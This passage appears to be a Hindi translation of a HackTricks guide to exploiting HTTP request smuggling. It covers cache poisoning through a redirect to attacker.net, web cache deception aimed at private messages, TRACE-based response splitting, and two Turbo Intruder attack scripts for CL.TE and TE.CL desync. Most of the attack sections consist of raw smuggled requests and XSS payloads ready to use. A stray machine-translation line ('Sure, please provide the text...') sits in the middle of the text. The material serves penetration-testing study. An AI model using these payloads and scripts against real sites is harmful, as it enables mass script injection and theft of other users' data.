यह तकनीक विशेष रूप से शक्तिशाली हो जाती है यदि Open Redirect भेद्यता का पता लगाया जाता है या यदि एक ओपन रीडायरेक्ट के लिए ऑन-साइट रीडायरेक्ट होता है। ऐसी भेद्यताओं का उपयोग /static/include.js की कैश की गई सामग्री को हमलावर के नियंत्रण में एक स्क्रिप्ट के साथ बदलने के लिए किया जा सकता है, जिससे सभी क्लाइंट्स के खिलाफ एक व्यापक Cross-Site Scripting (XSS) हमले की अनुमति मिलती है जो अपडेटेड /static/include.js का अनुरोध कर रहे हैं।

नीचे कैश ज़हरीला बनाने और ओपन रीडायरेक्ट के लिए ऑन-साइट रीडायरेक्ट के संयोजन के शोषण का एक चित्रण है। उद्देश्य है /static/include.js की कैश सामग्री को हमलावर द्वारा नियंत्रित JavaScript कोड सर्व करने के लिए बदलना:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

ध्यान दें कि एम्बेडेड अनुरोध /post/next?postId=3 को लक्षित कर रहा है। यह अनुरोध /post?postId=4 पर पुनर्निर्देशित किया जाएगा, Host header value का उपयोग करके डोमेन निर्धारित किया जाएगा। Host header को बदलकर, हमलावर अनुरोध को अपने डोमेन पर पुनर्निर्देशित कर सकता है (on-site redirect to open redirect)।

सफल socket poisoning के बाद, /static/include.js के लिए एक GET request शुरू की जानी चाहिए। यह अनुरोध पूर्व के on-site redirect to open redirect अनुरोध द्वारा संदूषित होगा और हमलावर द्वारा नियंत्रित स्क्रिप्ट की सामग्री लाएगा।

इसके बाद, /static/include.js के लिए कोई भी अनुरोध हमलावर की स्क्रिप्ट की कैश की गई सामग्री को प्रदान करेगा, प्रभावी रूप से एक व्यापक XSS हमले को लॉन्च करेगा।

Using HTTP request smuggling to perform web cache deception

वेब कैश पॉइज़निंग और वेब कैश धोखाधड़ी में क्या अंतर है?

  • वेब कैश पॉइज़निंग में, हमलावर एप्लिकेशन को कैश में कुछ दुर्भावनापूर्ण सामग्री संग्रहीत करने के लिए मजबूर करता है, और यह सामग्री अन्य एप्लिकेशन उपयोगकर्ताओं को कैश से प्रदान की जाती है।
  • वेब कैश धोखाधड़ी में, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री कैश में संग्रहीत करने के लिए मजबूर करता है, और फिर हमलावर इस सामग्री को कैश से पुनः प्राप्त करता है।

हमलावर एक स्मगल्ड अनुरोध तैयार करता है जो संवेदनशील उपयोगकर्ता-विशिष्ट सामग्री लाता है। निम्नलिखित उदाहरण पर विचार करें:

markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

यदि यह स्मगल्ड अनुरोध स्थिर सामग्री के लिए अभिप्रेत कैश प्रविष्टि को विषाक्त करता है (जैसे, /someimage.png), तो पीड़ित का संवेदनशील डेटा /private/messages से स्थिर सामग्री के कैश प्रविष्टि के तहत कैश किया जा सकता है। परिणामस्वरूप, हमलावर संभावित रूप से इन कैश किए गए संवेदनशील डेटा को पुनः प्राप्त कर सकता है।

HTTP अनुरोध स्मगलिंग के माध्यम से TRACE का दुरुपयोग

इस पोस्ट में सुझाव दिया गया है कि यदि सर्वर में TRACE विधि सक्षम है, तो इसे HTTP अनुरोध स्मगलिंग के साथ दुरुपयोग करना संभव हो सकता है। इसका कारण यह है कि यह विधि सर्वर को भेजे गए किसी भी हेडर को प्रतिक्रिया के शरीर के भाग के रूप में परावर्तित करेगी। उदाहरण के लिए:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Sure, please provide the text you would like me to translate.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

एक उदाहरण कि इस व्यवहार का कैसे दुरुपयोग किया जा सकता है, वह है पहले एक HEAD अनुरोध को स्मगल करना। इस अनुरोध का उत्तर केवल GET अनुरोध के हेडर के साथ दिया जाएगा (Content-Type उनमें से एक)। और HEAD के तुरंत बाद एक TRACE अनुरोध को स्मगल करना, जो भेजे गए डेटा को दर्शाएगा।
चूंकि HEAD प्रतिक्रिया में एक Content-Length हेडर होगा, TRACE अनुरोध की प्रतिक्रिया को HEAD प्रतिक्रिया के शरीर के रूप में माना जाएगा, इसलिए यह प्रतिक्रिया में मनमाना डेटा दर्शाएगा।
यह प्रतिक्रिया कनेक्शन पर अगले अनुरोध को भेजी जाएगी, इसलिए इसका उदाहरण के लिए एक कैश किए गए JS फ़ाइल में मनमाना JS कोड इंजेक्ट करने के लिए उपयोग किया जा सकता है।

HTTP प्रतिक्रिया विभाजन के माध्यम से TRACE का दुरुपयोग

इस पोस्ट का पालन करना TRACE विधि के दुरुपयोग का एक और तरीका सुझाता है। जैसा कि टिप्पणी की गई है, एक HEAD अनुरोध और एक TRACE अनुरोध को स्मगल करके, HEAD अनुरोध की प्रतिक्रिया में कुछ दर्शाए गए डेटा को नियंत्रित करना संभव है। HEAD अनुरोध के शरीर की लंबाई मूल रूप से Content-Length हेडर में इंगित की गई है और यह TRACE अनुरोध की प्रतिक्रिया द्वारा बनाई गई है।

इसलिए, नया विचार यह होगा कि, इस Content-Length और TRACE प्रतिक्रिया में दिए गए डेटा को जानते हुए, TRACE प्रतिक्रिया को Content-Length के अंतिम बाइट के बाद एक मान्य HTTP प्रतिक्रिया शामिल करने के लिए बनाया जा सकता है, जिससे एक हमलावर को अगले प्रतिक्रिया के अनुरोध को पूरी तरह से नियंत्रित करने की अनुमति मिलती है (जिसका उपयोग कैश विषाक्तता करने के लिए किया जा सकता है)।

उदाहरण:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

ये प्रतिक्रियाएँ उत्पन्न करेगा (ध्यान दें कि HEAD प्रतिक्रिया में एक Content-Length है जो TRACE प्रतिक्रिया को HEAD शरीर का हिस्सा बनाता है और जब HEAD Content-Length समाप्त होता है, तो एक मान्य HTTP प्रतिक्रिया चुराई जाती है):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

HTTP Request Smuggling को HTTP Response Desynchronisation के साथ हथियार बनाना

क्या आपने कुछ HTTP Request Smuggling की कमजोरी पाई है और आप इसे कैसे भुनाना है नहीं जानते। इन अन्य शोषण विधियों को आजमाएं:

HTTP Response Smuggling / Desync

अन्य HTTP Request Smuggling तकनीकें

  • ब्राउज़र HTTP Request Smuggling (क्लाइंट साइड)

Browser HTTP Request Smuggling

  • HTTP/2 डाउनग्रेड में Request Smuggling

Request Smuggling in HTTP/2 Downgrades

Turbo intruder स्क्रिप्ट

CL.TE

From https://hipotermia.pw/bb/http-desync-idor

python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

From: https://hipotermia.pw/bb/http-desync-account-takeover

python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Tools

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें